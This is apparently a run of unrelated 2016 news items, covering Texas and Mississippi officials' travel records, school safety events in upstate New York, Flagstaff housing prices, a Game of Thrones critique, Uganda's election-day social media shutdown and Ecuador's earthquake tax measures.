Mississippi Agriculture Commissioner Cindy Hyde-Smith traveled to Austin to meet with Miller in December 2014, and the two also spoke during conferences in February and June of 2015, according to emails and budget records released by the State of Mississippi. No documents exist about a meeting during Miller's trip, however.

Texas officials also said they have no records of any meeting during the trip.

The absence of records appear to undercut statements made by Miller and his political consultant, Todd Smith.

Miller told the Houston Chronicle that the point of the trip was to compete in the rodeo but that while at the event he spoke with Hyde-Smith, whom he called his "mentor." Smith told the Texas Tribune that one of the main purposes of the trip was to meet with Hyde-Smith.

Hyde-Smith has declined comment.

On Friday, Todd Smith stood by his statement despite the lack of records.

"I have no idea (why there are not records)," Smith said. "I'm just telling you that they met."

The Chronicle reported earlier this month that Miller won $880 for calf roping at the rodeo on the trip, which initially was purchased with state money and later repaid with campaign cash.

The trip is now part of a criminal investigation by the Texas Department of Public Safety, which is looking into whether Miller abused his office by using state and campaign money for personal gain.

Investigators also are probing a trip to Oklahoma on which Miller may have received a pain-killing injection known as "The Jesus Shot," the Chronicle reported last month.

Miller's story about the Oklahoma trip also was undercut by public records, which initially were withheld by his office.
JORDAN  For Jordan-Elbridge High School students, it was just a demonstration. For Elbridge Fire Department Chief Paul Czarnecki and his fellow emergency responders, it was a reality.

Czarnecki and New York State Trooper James Siddall narrated a mock DWI presentation in which a group of juniors and seniors watched local firefighters, medics and troopers respond to a car crash involving their peers  with one student dead and another arrested for drunk driving.

"We've see it too many times. We're going to see it a whole lot more times," Czarnecki told the students seated on bleachers as the scene unfolded before them in the school's north parking lot.

Czarnecki, who serves as a medic with Jordan Ambulance and works as an emergency department nurse, counted 13 fatalities that he personally responded to on a stretch of Route 5 running through Elbridge and that he still recalls every time he drives through that stretch.

The 27 drunk driving fatalities a day nationwide result in about 10,000 deaths and 290,000 injuries annually, Czarnecki said. He said two out of three people are involved in a car crash in their lives  and he is among that statistic.

"We weren't drinking. We were drag racing," he said. "We were going too fast. I'm lucky to be alive."

As the Jordan Fire Department responded to the scene first along with Jordan Ambulance and New York State Police, Czarnecki explained that responders first assess the safety of the scene and then block the vehicles' wheels to keep them from moving.

The responders checked a girl who was ejected from a sedan that was T-boned by a PT Cruiser and then used the Jaws of Life to extricate another person trapped inside the sedan.

Meanwhile, Siddall explained, a trooper talked to the driver of the PT Cruiser to assess his intoxication level after detecting the odor of alcohol. Siddell then explain the various field sobriety tests administered to the driver.

"We have one confirmed DOA," Czarnecki said when responders pronounced the ejected girl dead as she lay on the pavement. "She's not going home tonight. ... She's part of the investigation. This is a crime scene."

As the driver of the PT Cruiser was led away in handcuffs to a police car, the person extricated from the sedan was evacuated by helicopter to the trauma center. The Onondaga County medical examiner came in to survey the dead body and determine extent of injuries and cause of death.

At the same time, the deceased girl's parents showed up to the scene after hearing what happened.

"When a trooper knocks on your door at 2 in the morning, it's not a good thing," Siddall said. "I've had to do it before in my career. I never want to do it again."

As he spoke, Siddall  a 1998 Jordan-Elbridge graduate  pointed out a wooden swing sitting in front of the high school with a metal plaque on it dedicated to a classmate of Siddall who was killed in a drunk driving crash.

The trooper told the students he experienced the death of fellow students in car crashes during his sophomore, junior and senior years at Jordan-Elbridge.

"This can happen," he said. "The goal is to keep you guys safe. We don't want this to happen again. I've seen it firsthand."

Both Czarnecki and Siddall emphasized that while 0.08 is the legal limit for blood alcohol concentration before a person is considered intoxicated, it is zero for the students who are under 21 years old. Even then, they said, New York has a zero-tolerance policy in which anybody driving with alcohol in their system can be held accountable.

Siddell said there have been 25 drunk driving arrests locally in 2016 alone, with an average of one drunk driving crash per month. The trooper told the students he wished them "a safe prom season, a safe summer and a safe rest of your lives."

"I hope this is something you guys never see in your lives," he said. "You think, 'It can't happen to me.' It can happen to you."
-- So, in case you hadnt heard: Chris Traylor will retire as head of the Texas Health and Human Services Commission at the end of next month, legislative officials with knowledge of his decision said late Thursday. Traylor, who canceled retirement plans last spring to serve as social services czar, will have lasted in the job just 11 months, per The Dallas Morning News Bob Garrett.

Its unclear whether Abbott has decided on a new leader, though many expect his longtime aide Charles Smith will get the nod. Since July 1, when Traylor started, Smith has been deputy executive commissioner. More recently, he also has served as interim head of Child Protective Services, amid signs of a meltdown of CPS child-abuse investigation efforts in Dallas County. An Abbott spokesman declined to comment on who would succeed Traylor.

-- Speaker Straus stays firm but wont raise voice in House, by the Tribunes Ross Ramsey. Buried in a couple of vanilla announcements this week  one about the state budget, another about some appointments to the Sunset Advisory Commission  Straus gently telegraphed some of his plans for next years legislative session.

If you werent listening carefully, you probably missed it. But the speaker let his members know that the brakes are on when it comes to state spending, and that hell be trying to wrestle reviews of state agencies from the control of paid lobbyists.

-- CRUZ, facing hard GOP path, seeks a good argument, by the NYTs Matt Flegenheimer. Senator Ted Cruz says the partys nominating rules have been in place from the beginning.

Mr. Cruz is right, and he may be losing the public argument anyway. With polls showing a strong preference for nominating the candidate with the most popular votes  even if he fails to secure a majority of delegates before the convention in July  Mr. Cruz has brushed up this week against an uncomfortable reality: His only road to victory is a messy one.

As he slogs through a merciless stretch of the primary calendar, straining to pick off delegates from Northeastern voters who seem disinclined to embrace his hard-line conservatism, Mr. Cruz, of Texas, has appeared increasingly frustrated amid questions about his path.

>> MINNEAPOLIS (AP)  An autopsy is scheduled Friday to determine what caused the death of the iconic musician Prince, who was found unresponsive in an elevator by sheriff's deputies at his suburban Minneapolis compound a day earlier.

SPEED READ

Texas Take: After New York, Cruz tries to find his footing again, Houston Chronicle

Abbott blasts Supreme Court, Chief Justice Roberts, Houston Chronicle

Being Sid Miller is getting increasingly complicated, Texas Tribune Democrat Jim Hogan said he should replace Sid Miller if he resigns, Houston Chronicle

With state hospitals packed, mentally ill inmates wait in county jails that arent equipped for them, The Dallas Morning News

GOP veepstakes begin: Candidates start building lists and vetting prospects, The Washington Post

Texas can cut disabled kids therapists Medicaid pay, appeals court rules, The Dallas Morning News

Timelines collide on moving Texas to an A-F accountability system, Quorum Report

Cost of Medicaid fraud detection software has dropped from $20 million to zero, Quorum Report

Frustrated by new U.S. program to take in migrants, Central American parents turn to smugglers, Los Angeles Times

How confusion, legal tweaks led Texas to allow guns in state mental hospitals, The Dallas Morning News

Ethics panel may strip anonymity from those asking for rulings, such as in Ken Paxton case, The Dallas Morning News

Texas cities see crime rates dropping, Texas Tribune

RACE TO THE WHITE HOUSE

-- For Trump, a change is gonna come, per the APs Steve Peoples and Thomas Beaumont. When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose, Paul Manafort, who is leading Trump's primary election strategy, told Republican National Committee members in a private briefing late Thursday. The Associated Press obtained a recording of the discussion.

You'll start to see more depth of the person, the real person. You'll see a real different guy, Manafort said. He gets it. The part that he's been playing is evolving into the part that now you've been expecting, but he wasn't ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change.

-- The coming dogfight in Indiana, by Politicos Shane Goldmacher. Three different groups, not affiliated with the presidential campaigns, that have surveyed the state recently provided results to POLITICO on condition that they be shared anonymously.

One survey, completed on April 12, had Ted Cruz and Donald Trump in a statistical tie: 32 percent to 32 percent, with John Kasich, governor of neighboring Ohio, a distant third, with 14 percent. A second survey also had Trump and Cruz tied, but that was a change from three weeks earlier, when Cruz had led outside the margin of error. A third survey, from last week, had Trump ahead of Cruz, outside the margin of error.

-- GOP rivals humble themselves before the partys elite, by Goldmacher. Cruz, John Kasich and Donald Trumps political team have spent two days humbling themselves before the 168 members of the RNC  all delegates to what could be the first contested national convention in a generation -- trying to sell the party elite on the merits of their candidacies.

"The three-day, beachside meeting has amounted to a dry run of the kind of aggressive delegate hunting that would define an open convention this summer in Cleveland  and it saw some sharp elbows thrown between the Cruz and Kasich teams. Kasich backer Matt Borges, the chairman of the Ohio Republican Party, ripped Cruzs argument that he could win in November."
The summers final Live on the Waterfront concert was held Wednesday evening at Prince Arthurs Landing. The popular series in Thunder Bay has completed nine weekly shows that began on July 13. Wednesdays concert was unique as it was held one hour later in the evening to mesh with the 10 p.
JORDAN  Law enforcement from across the state is using marked and unmarked patrol vehicles to follow school buses to look for motorists who pass stopped school buses.

The Jordan Elbridge Central School District hosted an event Thursday to draw attention to the problem and to remind drivers  and students  to be more careful.

David Adam, president of the New York Association of Pupil Transportation, said motorists illegally pass stopped school buses every day, and Operation Safe Stop, which began in 1993, has evolved as cell phones and electronic devices are more commonly being used in vehicles.

The roads have never been more dangerous with the amount of distracted driving that is occurring throughout the state and throughout the nation, Jordan Elbridge School Superintendent James Froio said.

I want to do something a little bit differently this year, Adam said. Id like to thank the millions of people who do exactly what we want them to do. They stop, 50, 75 feet in front of the bus. They wait patiently for our drivers as they wait patiently for your students to come out of the house sometimes a minute or two, which can feel like an eternity when you are in a car. When we shut the door and turn off the lights and are ready to leave, they give us an acknowledgment.

But some don't wait and pass buses with flashing red lights.

Onondaga County Sheriff Gene Conway said he doesnt understand why people put their lives and the lives of children at risk in this way.

When the education and initiatives fail, law enforcement has to step in he said.

There is just no tolerance for this, passing a school bus that has children on it, no rhyme or reason, no rationalization for it, Conway said, adding that school buses are so well marked there really is no excuse for this behavior.

Roxanne Bocyck founded a non-profit, Back To School, Inc., which teaches safe behaviors through training and continuing education to improve school bus safety. She is a former school bus driver who instructs other drivers on safety.

I hear it all the time from drivers, the public passes them on flashing reds, Bocyck said.

Back To School instructs children, too. When disembarking, they are instructed to stop at the door and look both ways before they step out. If they need to cross the street, it is done in front of the bus using the universal safe crossing method with eye contact and signaling from the driver. She said bus routes are created to try and eliminate as much crossing the street as possible.

The public doesnt know but even on divided highways, you must stop when you see flashing red, she said. People from out of state might not know this.
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Home prices for the month of March hit their highest mark for that month since before the recession in 2007 -- $358,000 -- as low inventory and higher demand are driving up prices.

Dani Lawrence, president of the Northern Arizona Association of Realtors, said an overall lack of inventory in the Flagstaff market has made for some difficult conditions.

First-time home buyers are easily priced out of the market due to the high home prices of Flagstaff, she said in an email.

And homes under the median price are selling quickly.

Mobile homes and townhomes priced around $250,000 are getting multiple offers and selling almost as quickly as they are appearing on the market, she said.

According to March sales figures calculated by Century 21 Flagstaff Realtor Stephen Brighton from the Northern Arizona Multiple Listing Service, the median price of a single-family home in greater Flagstaff climbed to $358,000, an increase of 19 percent over March 2015 figures. There were also a total of 79 homes sold in March, the highest number of homes sold during the month of March in 11 years, according to Brighton.

The first quarter of the year was one of the busiest in nine years, Brighton said. First quarter sales are up 9 percent compared to last years first quarter, with a median home price of $349,000. Total sales for the first quarter also climbed by 4 percent over last years sales to 180 homes.

However, the number of homes available on the market has not increased significantly, Brighton said. There are only 26 homes on the market at or below the March median price of $358,000 and 14 of those homes are under construction in Presidio, about less than a months supply.

Thats compared to a four and a half month supply of 170 homes in greater Flagstaff that are available above the March median price, he said.

On a national level, March saw existing home sales in all four regions increase by 1.5 percent over last Marchs figures, according to the National Association of Realtors.

Lawrence Yun, NAR chief economist, said home sales rebounded in March following a large decline in February.

"Closings came back in force last month as a greater number of buyers  mostly in the Northeast and Midwest  overcame depressed inventory levels and steady price growth to close on a home," he said. "Buyer demand remains sturdy in most areas this spring and the mid-priced market is doing quite well. However, sales are softer both at the very low and very high ends of the market because of supply limitations and affordability pressures."

According to NAR, the median existing-home price for all housing types nationwide in March was $222,700, up 5.7 percent from March 2015 ($210,700). Existing-home sales in the West climbed 1.8 percent to an annual rate of 1.15 million in March, but are 2.5 percent lower than a year ago. The median price in the West was $320,800, which is 5.9 percent above March 2015.

Fluctuations in the national inventory of homes for sale is also causing problems for buyers and sellers, according to NAR. The national unsold home inventory is at a 4.5-month supply at the current sales pace, up from 4.4 months in February.

"The choppiness in sales activity so far this year is directly related to the unevenness in the rate of new listings coming onto the market to replace what is, for the most part, being sold rather quickly," said Yun.

According to NAR, nationwide properties typically stayed on the market for 47 days in March, a decrease from March 2015 when it took around 52 days to sell a home.

At the same time, nationwide, the number of first-time home buyers has been steady at 30 percent of the market since the beginning of 2015. This is because of the lack of affordable houses and starter homes on the market, Yun said.

The ability to get mortgage credit is also very difficult for many first-time home buyers and middle income home buyers, according to NAR President Tom Salomone.
Barbara Banda: "People are open to the conversation now  that will foster change"

While there is a long way to go on race at work  with many still feeling the need to self silence  an evolution is firmly in motion, says the leadership consultant and author of new book The Model Black
The Northern Arizona University Ethnic Studies program is hosting the third annual Hip Hop Week (HHW3), featuring artist Chuck D of the hip-hop group Public Enemy and world record holder for the longest freestyle artist MC Supernatural. Hip Hop Week 2016 is April 25 - 29, featuring the following events:

 How Hip Hop Works-Shop, held at the NAU Union Outdoor Amphitheatre from 11 a.m.-2 p.m. on Monday, April 25, kicks off the weeks events. The workshop events include live demonstrations by local graffiti artists, b-boy and girling, along with a DJ and MC. In partnership with the Arizona Humanities Foundation in honor of National Poetry Month we will be hosting Philadelphia poet J Mase III, founder of AwQward, Black/Trans/Queer/Rowdy-as-Hell Poet  J Mase also opens for Public Enemy's Chuck D on Wednesday, April 27.

 Shake the Dust will be shown Tuesday, April 26, from 7-9:30 p.m., at the NAU International Pavilion, and a discussion with a filmmaker will follow. The film is a tribute of breakdancing from executive producer Nasir Nas Jones; filmmaker Adam Sjoberg will be present to host a Q&A afterwards.

 Noted hip hop performer Chuck D of Public Enemy provides a lecture on Rap, Race, Reality & Technology followed by a Q&A session at Prochnow Auditorium, 7-9 p.m., Wednesday, April 27.

 The Art of Freestyle, featuring world record holder for the longest freestyle MC Supernatural, is Thursday, April 28, from 7-9 p.m. in room 200 of the Social Behavior and Science building on NAU's south campus.

 Friday, April 29 wraps up the celebration with students presenting and sharing their learning experience from 9 a.m.-4 p.m. at the J. Lawrence Walkup Skydome.

Wednesday nights event, An Evening with Public Enemys Chuck D, is a ticketed event. It is free for NAU students and $2 for the general public. All other events are free to the public.

For more information, visit nau.edu/hip-hop-week/ or call 523-8134.

Raise your pinkies for Miss Cleo's Tea Party

Get out your Sunday best, it's time for Miss Cleo's Tea Party. The fundraiser for the Southside Community Association, Inc. will be held Sunday, April 24, from 2-4 p.m. at the Murdoch Community Center, 203 E. Brannen Ave. The afternoon will include food, music and art. This years tea party will feature a hat contest ($20 entry fee).

The goal for this year is to raise $3,500-$5,000. These funds will be used to support the NAU federal work-study program students who work at the Murdoch Center. They staff the building about 40 hours a week which allows the building to be open and accessible to the community.

The Multicultural Childrens and Young Adult Reading Corner opened in the Murdoch Center in February. The Reading Corner has more than 100 books about famous multicultural people. The center is open until 8 p.m. on Tuesdays and Thursdays. This is just one project that the funds from the tea will be used to support.

Tickets are $20 per person ($160 table of 8). For more information and to purchase tickets call 226-7566 or email murdochstaff@southsidecommunityassociation.com.
During his lifetime, C.S. Lewis wouldnt grant the movie rights to his cycle of fantasy novels, The Chronicles of Narnia, because he was skeptical that Hollywood could do the stories justice. By contrast, George R.R. Martin gave HBO the rights to his A Song of Ice and Fire novels before hed even finished the tale of power struggles in the kingdom of Westeros. This Sunday, the sixth season of HBOs hugely popular Game of Thrones series based on the Martin books debuts, and it represents something unusual in screen adaptions: a test of whether the television shows creative team can make sense for viewers of a story that began with promise two decades ago, but which has disintegrated into a bloated, confused, nihilistic, andcruciallyunfinished tale. The writers and producers have already changed substantial parts of Martins original story. While the author lingers with an apparent case of writers block, HBO is set to air episodes with plotlines racing ahead of what Martin has published so far. Whereas Lewis feared Hollywood would debase his tales, Martin seems to be gambling on HBO to help redeem his.

Martin, a former scriptwriter for the revival of The Twilight Zone, had been writing fantasy and science fiction for 25 years when he published A Game of Thrones to critical acclaim in 1996. The first novel in the series displayed Martins talent for robust and vivid language, and featured sharply drawn characters such as the honorable but politically naive Ned Stark and the droll but profane imp Tyrion Lannister. Martin kept control of a complex narrative in the book, weaving together the stories of Stark, his family, Tyrion, and an heir to the deposed king of Westeros, Daenerys Targaryen.

But the book also displayed what turns out to be, in retrospect, tendencies that undermine Martins later work. Though Stark is the central character of much of the novel and appears to be its ultimate hero, Martin has him executed near the end of the bookan unexpected twist that won him critical praise. Martin apparently took that approval to heart, because the saga over time became a killing field for principal characters, especially the heroic type, who often depart suddenly, leaving a gaping hole in the narrative to be filled by new, less sympathetic players. Martin at times seems unsure about these choices. When he dispatches Starks wife Catelyn and his eldest son Robb in book three of the series, the author appends an epilogue in which a bedraggled, zombie-like Catelyn reappears, apparently resurrected by some unexplained power in order to do further narrative duty. She then promptly disappears again over the next 1,000 pages, except for a brief, obscure episode at the end of the fourth novel, where she helps execute a former follower (who then also mysteriously reappears alive in the fifth novel).

I was convinced by the end of the third book that Martin had little idea of where he was going or how to get there. I stopped reading. His plots, if you can call them that, had frayed to the point that the characters stories were unrelated and uninteresting. I might never have returned, but as HBO scored with its series, I began to wonder if Martin had finally unknotted things.

The answer is no. Martin hasnt found his way out of his narrative labyrinth. In fact, the story has become so complex, and the characters so dispersed, that he decided to divide what had been the intended fourth installment into two separate novels that supposedly take place simultaneously, with the plot told from the alternating points of view of more than two dozen characters. To accomplish this, he banishes entire storylines and major characters, including the Imp and several Stark children, from the 1,100-page A Feast For Crows, and then adds an extraordinary note to the book in which he does what no fiction writer should ever need to doexplain to the reader whats happened to his story and to the characters whove suddenly vanished.

When those characters reappear in the fifth installment, A Dance with Dragons, Martins storytelling has gone, like many of his characters, beyond redemption. The Imp Tyrionhaving dispatched his powerful father with an arrow to the groinflees overseas, is captured by slavers, and winds up riding a pig in a circus jousting act he performs with another dwarfleaving me wondering whether I hadnt accidentally picked up a Game of Thrones satire penned by the staff of the Onion. No such luck. Martin tops off the novel with an old strategy: appearing to kill off several key figures, including the only surviving Stark who seems to have a chance of reestablishing order in WesterosNeds bastard son Jon Snow. Whether Jon is actually dead is the subject of much speculation among fans, and it appears that the HBO series will settle that question before Martin gets around to publishing his next installment. Talk about the tale wagging the dog.

HBO has managed to hook viewers on Game of Thrones with high production values, a splendid cast, and deft manipulation of Martins story. Emmy winner and Morristown, New Jersey native Peter Dinklagewho deserved an Oscar for his role as Finbar in The Station Agentleads an otherwise largely British cast, including the redoubtable Sean Bean (Boromir in Lord of the Rings) as Ned Stark, and the imposing Lena Headly (Queen Gorgo in 300) as Queen Cersei. The cast is aided by scriptsespecially those adapted from latter booksthat sometimes distill Martins turbid chapters into 30-second scenes, giving viewers at least a sense that the story is moving along. Even more crucially, perhaps, the scriptwriters began altering Martins story in a way that goes to the heart of his failingsgiving the most sympathetic and interesting characters larger roles as the story unfolds. With season six, however, the producers must go where Martin himself hasnt yet gone (though reportedly the author let them in on his plans for the characters). The outlook for some reasonable resolution to the story is not promising. What was supposed to be Martins final novel has now ballooned, according to him, into at least two more books. More ominously, press reports suggest that another novelist has been brought in to help Martin finish.

Age could be responsible for Martins current woes, but much of his earlier failure seems related to hubris. As he garnered praise for the early books, Martin suggested he was writing not just epic fantasy but something new and unpredictable. After a time, however, he seems to have become a prisoner of his own invention, incapable of sending his characters in any direction that might help resolve his storyperhaps for fear readers might actually figure out where hes headed. Martin also rejected the moral certitude of the fantasy genre. Instead, he proffered a more ambiguous and chaotic world, where the most worthy characters suffer en route to death and disgrace, rather than redemption. Now, it seems like Martin cant decide who should prevail in this nihilistic universe hes constructed.

Even so, Martin has won a cult-like following among fans and critics. The success of the HBO series has only burnished his reputation, though readers have grumbled online about the novels more bizarre plot twists. Exegeses of Martins texts now proliferate, illuminating his supposedly deep, nuanced worldviewwhich some even praise as postmodern. Others have declared Martin an American Tolkienthough the Lord of the Rings author had the decency to bring to an end his stories of wizards, elves, and hobbits.

In a world quick to proclaim instant classics, Martins wrong turn in the last decade or so is a reminder that finishing, and especially finishing well, still matters. Begin at the beginning, the King tells the White Rabbit in Lewis Carrolls Alice in Wonderland, and go on till you come to the end: then stop. Thats a word, stop, that seems to have eluded Martin.

Photo: Peter Dinklage as Tyrion Lannister in HBOs Game of Thrones (Helen Sloan/HBO)
Coconino County first responders including the Ponderosa Fire Advisory Council, the Arizona Department of Public Safety and the U.S. Forest Service will conduct an emergency response exercise on Friday at Camp Navajo.

The goal of the training is to increase readiness and inter-operability of local emergency responders and military personnel throughout Coconino County.

As part of this exercise, the public may see increased traffic of emergency vehicles, first responders and civilian and military helicopters near Neil Flats.

The training is scheduled for 8:30 a.m. to 1 p.m.
Maybe hes the ego-buster journalism students need. About a month ago, a parody account called Guy at your J-school began tweeting insights into life, with posts that range from delusional to chokingly smug.

No doubt, Guy at your J-school hits notes that can make any jaded reporter sneer. The caricature might even cause some to reflect on their own rosy beginnings. Either way, the accounts 5,630 followers suggest its resonating with at least some portion of the Fourth Estate.

What would society be like without story-tellers? Just a disparate set of people, confused, unable to interpret reality, bumping into stuff  Guy at your J-School (@JschoolStrytllr) March 30, 2016

#Pitch: my story on the Mediterraneans ecosystem requires me to go to St. Tropez, Ibiza, Mallorca, Naples. All for 6 weeks each, preferably Sign up for CJR 's daily email  Guy at your J-School (@JschoolStrytllr) April 21, 2016

*spends 1st semester of J-School exclusively writing articles about dry city council meetings in the gonzo style of Hunter S. Thompson*  Guy at your J-School (@JschoolStrytllr) April 4, 2016

Anyone whos spent time at a J-school may have endured this painful lack of self-awareness, in themselves or others. Its not that journalism students are foolish or narcissistic. Rather, the decision to go into debt for an unstable and taxing career demands an extraordinary belief in journalisms power to better the world. Its a wonderful conviction, and one that bonds the members of this tribe. But that sense of purpose may be a bit inflated on the college campus, where the harsh realities and limitations of the business are mostly conceptual.

My Mom says that as a baby my first words were a mesmerizing anecdotal lede about the remarkable journey of life I was about to embark on  Guy at your J-School (@JschoolStrytllr) March 30, 2016

Saddest day of my life was my grandmas funeral. Halfway through my tascam ran out of battery and wiped my data. A journalistic catastrophe  Guy at your J-School (@JschoolStrytllr) April 12, 2016

Its so arduous concisely describing the complexity of my job to people at parties. Sometimes I just say Im in the truth industry  Guy at your J-School (@JschoolStrytllr) April 19, 2016

Guy at your J-school is at his best, though, when he discusses the disenfranchised communities he covers. In those ramblings, hes the savior of the helpless.

I give voice to the voiceless. The voiceless find perfect articulation in my writing. They do not need their own media. Simply my columns  Guy at your J-School (@JschoolStrytllr) April 13, 2016

Im not working class, but through my stories on poverty, I basically am. Thats how it works. I know their pain. I have written about it  Guy at your J-School (@JschoolStrytllr) April 6, 2016

I walk into an destitute community. The people see me. They weep with joy. They know their story will be told, in a four-part podcast series  Guy at your J-School (@JschoolStrytllr) April 11, 2016

That nails-on-the-chalkboard display of ego reinforces the importance of humility. And thats a good refresher for any journalist.

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Jack Murtha is a CJR Delacorte Fellow. Follow him on Twitter at @JackMurtha
KAMPALA, UgandaThe night before Ugandas February 18 presidential vote, David Tumusiime went to bed with a firm plan in place for the next days coverage. The website editor for Uganda Radio Network (URN), a syndicate of more than 20 correspondents spread across the East African country, Tumusiime had set up a WhatsApp group to collect video clips and audio reports from his team. Then he would use URNs Facebook page and Twitter feed to share that information with the news organizations thousands of followers.

But there was a hitch. When he woke up on Election Day, someone had turned off the countrys social media.

At first Tumusiime didnt realize anything was wrong. We have unreliable networks in Uganda, he says. So I thought it was an individual problem. I didnt think it was an organized clampdown until I called a few colleagues and they told me they couldnt communicate with our WhatsApp group.

The government acknowledged in the days after the election it had ordered the Uganda Communications Commission (UCC) to shut down all access to social media sites for three days, including Facebook, WhatsApp, and Twitter, over alleged security threats. Officials worried that the opposition planned to use social media to disrupt the balloting process and possibly spur violence when results were announced within 48 hours of the vote.

The move threw the media into disarray, at least initially. In a country where social networks are becoming increasingly intrinsicnot just to disseminating news, but also to gathering itthe blackout substantively reduced early coverage as Ugandans went to the polls.

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At URN, Tumusiime said the morning quickly devolved into trial and error as members of the team tried to figure out how to stay in touch with each other. By the end of the day, most URN reporters, like much of the rest of Ugandas media fraternity and tens of thousands of ordinary citizens across the country, had managed to download virtual private networks (VPNs) for their phones and computers, allowing them to set up secure internet connections and access social media sites.

Still, the disruption left people across the country confused and wary about what they might have missed in the hours theyd spent offline.

We couldnt see what was happening, says Kelly Daniel Mukwano, the executive director of iFreedom Uganda Network, a digital rights watchdog. We couldnt interact with people from other areas. We couldnt read news.

More worryingly, journalists are interpreting the move as a signal that social media has become a new front in the longstanding battle between Ugandas government and its newsrooms. The state under President Yoweri Museveni, now 30 years in office, has long been quick to shutter media houses and revoke radio licenses when reporting threatens the perceived stability of his regime. There are regular allegations of police officers and even ministers attacking reporters. And the government routinely co-opts its chief media critics with plum positions inside the administration. Disrupting social media, journalists say, is the governments latest tactic to control the national narrative, and potentially one of its most effective.

Social media sites are having an outsized impact on the countrys news agenda, according to Robert Sempala, the national coordinator for the Human Rights Network for Journalists  Uganda (HRNJ Uganda). WhatsApp and Facebook messaging are much cheaper than standard text messages or pay-per-use internet packages for computers, especially for roving reporters trying to stay in touch with editors and transmit photos and short audio and video files. The sites have also become hotlines for sharing news tips and leaking documents, Sempala says. Twitter and Facebook are critical for news organizations looking to quickly share breaking news.

Social media, of late, has been playing a very pivotal role in shaping the news agenda in Uganda, he says. Shutting it down has a very big drawback to the flow of information.

Election Day in Uganda was already set to be tense. The incumbent, Museveni, attempting to add another five-year term to his rule, was running against his former Prime Minister Amama Mbabazi and a longtime opposition leader, Kizza Besigye, among others.

Besigye had actually been arrested and then released the day before the poll, and rumors were swirling on private WhatsApp groups of possible Election Day violence. A day before the vote, Kale Kayihura, the inspector general of police, showed up at an Electoral Commission press conference to warn journalists about repeating these rumors.

Social media has become so pervasive, he said at the press conference. A lot of negativity, lies, are being beamed down. It creates unnecessary tension. Controlling social media is not easy. His comments assumed greater significance after the UCC executive director issued a sworn affidavit saying that it was Kayihura who directed him to turn off the countrys social media.

Shutting down social media is nothing new. Governments from China to Turkey have attempted to black out such sites, with varying degrees of success. But given Ugandas still-limited internet access and other Election Day concerns, the governments worries about social media were unexpected. The UCC estimates about 13 million people used the internet during the last fiscal year, primarily in Kampala and other major townsa 37 percent penetration rate.

Those users online behavior, though, may justify the governments worries. Research on internet usage in East Africa is limited, but a 2015 study among 60 Ugandan policymakers and media professionals found 78 percent use WhatsApp daily. Sixty-nine percent used Facebook every day, and 49 percent Twitter.

In recognition of social medias growing significance, telecommunications companies like India-based Airtel are now offering users in Uganda unlimited access to WhatsApp, Twitter, and Facebook for the equivalent of 15 cents per day.

The majority of our population are youth and theyre using social media, says iFreedoms Mukwano. I think social media is the No. 1 arm people are using to access information. So it was no surprise to him, at least, when the networks went down in the hours before voting started. But he still worries about the implications: This could mean worse for the future of the free media in this country.

Though Ugandas journalists enjoy relative freedom compared to colleagues in neighboring countries like Rwanda and Ethiopia, Musevenis government has been quick to crack down on the media during times of political tension. In late 2009, for instance, following two days of riots in a Kampala neighborhood, the government suspended the licenses of three radio stations and withdrew that of a fourth.

The governments efforts to restrict the press up to and even after the February vote, Sempala says, were unprecedented. His organization has recorded more than 100 media violations since October of last year, including the near-daily arrests of journalists attempting to cover Besigye, who was under house arrest for more than a month after Museveni was officially declared the winner of the ballot. (He was finally released in early April, only to be re-arrested several times since.) The incidents in the five months running up to the vote, Sempala says, outnumbered those that occurred during the first nine months of 2015 combined. And while not as blunt as arresting a reporter or seizing equipment, he says the social media blackout was in keeping with this recent string of events.

In media circles, there is still some debate over how effective it was. Frank Kisakye is the Web editor for The Observer, one of the countrys leading independent papers. He describes himself as a one-man team online, posting breaking news to the papers Twitter account, more conversational posts on its Facebook page, and stories to the website.

In the hours after the social media blackout began, he noticed something unusual: a spike in traffic to The Observers Twitter account. Not only were people figuring out how to circumvent the blackout, they were eager to talk about it.

Hide information from people and they will start looking for it more, he says. In the three days that social media platforms remained down, there was a lot of interactivity from people looking for updates on any problems at the polls or in the vote counting.

The blackout also offered both journalists and their audiences an unexpected lesson in cybersecurity, which Kisakye says would make it difficult for the government to attempt a similar shutdown in the future. Now people know, Okay, if I need to mask my identity, my location, this is how I do it, he says. I think they blundered.

Abby Mukiibi, the programs manager for CBS FM radio in Kampala, is not so sure.

It did cripple a lot of what we were supposed to do, he says. Not every correspondent, not every journalist you could talk to had access to VPN. It also heightened fears of rigging and possible riotsfears the media was unable to confirm or tamp down.

The shutdown didnt just make it difficult for journalists to transmit information, it also left some reporters vulnerable. Scribes who could not access VPNs and innocuously send information over Facebook or WhatsApp were wary of using their cellphones to call in any problems they saw at polling stations out of fear that Museveni supporters might attack them, Sempala says. As a result, he suspects many voting-day irregularities went unreported.

Meanwhile, the 40 observers HRNJ Uganda had deployed throughout the country to monitor reporter safety and access were unable to do their jobs. Their monitoring activitiesensuring reporters were allowed into polling stations and that they werent harassed by electoral officialswere supposed to be reported over WhatsApp.

Whatever their perception of the impact on the election, which Museveni officially won with 60 percent of the vote, the media fraternity is convinced the shutdown was only the governments opening effort to control social media.

In mid-March the regime tried to amend the 2013 Communications Act. The suggested changes would remove parliamentary oversight of the administrations attempts to regulate social media and the people who use it. The government is defending the move on the same security grounds as the Election Day blackout. iFreedoms Mukwano sees something more insidious.

They are trying to build a fence around the entire internet and social media.

Has America ever needed a media watchdog more than now? Help us by joining CJR today

Andrew Green is a freelance journalist, primarily covering health, human rights and politics in east and southern Africa. You can find more of his work at theandrewgreen.com and follow him on Twitter @_andrew_green.
President Rafael Correa said Ecuadors worst earthquake in decades caused billions of dollars of damage and he is raising sales taxes and putting a one-time levy on millionaires to help pay for reconstruction.

The damage from 7.8-magnitude quake adds to already heavy economic hardships being felt in this OPEC nation triggered by the collapse in world oil prices. Even before the quake, Ecuador was bracing for a bout of austerity, with the International Monetary Fund forecasting the economy would shrink 4.5 percent this year.

In a televised address Wednesday night, Correa warned the nation of a long and costly post-quake recovery and said the economic pain shouldnt fall only on hard-hit communities along the coast.

I know were at the most-difficult stage right now but its just the beginning, he said.

Using authority granted by the state of emergency he declared after Saturday nights quake, Correa said sales taxes would increase to 14 percent from 12 percent for the coming year.

People with more than $1 million in assets will be charged a one-time tax of 0.9 percent on their wealth, while workers earning over $1,000 a month will be forced to contribute a days wages and those earning $5,000 a month the equivalent of five days pay.

